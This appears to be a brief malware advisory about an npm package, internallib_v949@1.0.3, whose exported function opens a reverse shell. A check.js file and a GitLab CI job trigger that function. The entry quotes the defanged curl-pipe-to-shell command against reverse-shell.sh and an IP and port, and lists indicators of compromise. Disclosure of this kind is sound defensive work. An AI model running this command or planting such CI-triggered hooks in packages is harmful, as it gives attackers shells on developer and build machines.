internallib_v949@1.0.3

Analysis

The package's only exported function (index.js, command()) executes a reverse shell: it runs `curl hxxps://reverse-shell[.]sh/10[.]0[.]16[.]19:443|sh` via /bin/bash, connecting back to 10[.]0[.]16[.]19 on port 443. The bundled check.js requires the package and invokes command(), and the included .gitlab-ci.yml runs `node check.js`, so the payload also executes in CI pipelines. IOC: reverse-shell.sh / 10[.]0[.]16[.]19:443.